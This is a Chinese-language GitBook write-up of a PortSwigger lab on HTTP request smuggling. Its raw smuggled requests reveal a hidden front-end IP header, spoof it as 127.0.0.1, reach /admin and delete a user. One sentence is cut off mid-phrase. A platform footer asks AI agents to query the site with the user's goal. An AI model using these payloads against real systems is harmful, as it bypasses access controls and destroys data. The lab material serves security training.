> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/discovery-of-rewriting-by-the-front-end.md).

# 发现前端重写

发现前端重写笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 HTTP 请求走私揭示前端请求重写

该站点由前端服务器和后端服务器组成。前端\*\*不接受分块编码\*\*。/ 访问管理板 /admin 仅保留给来自 **127.0.0.1**. / 在将请求转发到后端之前，前端\*\*会添加一个包含客户 IP 地址的自定义请求头\*\*。这种行为看起来像经典的 X-Forwarded-For，但请求头名称不同。

目标有两个：

1. **发送一个请求** 以揭示前端添加的这个请求头的名称。
2. **发送一个走私的** 包含此请求头的请求，将其强制设为 127.0.0.1，以访问管理面板并删除 carlos 用户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e57b91fbb24dfeb030f7e4143b9065d4ac0f892%2F%7B91212479-6A08-491A-B08C-F60414F719F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **行为分析**

* 在搜索参数中发送的字段会在响应中返回，这表明我们可以用它来观察注入效果。
* 发送：

```http
Content-Length: 5
Transfer-Encoding: chunked

0


```

该请求无错误地处理（200 OK），这证实了 **前端解析 Content-Length**，而 **后端忽略 Transfer-Encoding**.

* 在走私额外的 POST 请求时：

```http
Content-Length: 55
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 13

search=test
```

多出的字节（此处，

* 将 Content-Length 增加到 125 后，响应暴露了前端添加的请求头。/ 该请求头是：

```http
Content-Length: 125
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e6ec7706e085939b83dc5535ffa5025899e2abb%2F%7BA30B5885-5ECA-440E-81B5-47A7896CDD3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<sub>X-KwWCmS-Ip</sub>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-694c1c3e868cb48a120044b4bae76d8fe6d56249%2F%7BC1551558-F2C6-4118-83E5-CE6AAF1E6933%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **访问管理面板**

通过伪造一个包含此请求头并将其强制设为 **127.0.0.1**，你就能访问 /admin：

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9541f8f1ea988fca3cb965cc3927beb6b5c8859%2F%7BDBE4809D-7FB7-4EA5-A709-436F0FBE375C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **删除 Carlos 用户**

第二个走私请求可让你直接调用删除端点：

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

随后，carlos 用户会通过后端被删除，看起来像一个经过授权的内部请求。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/discovery-of-rewriting-by-the-front-end.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
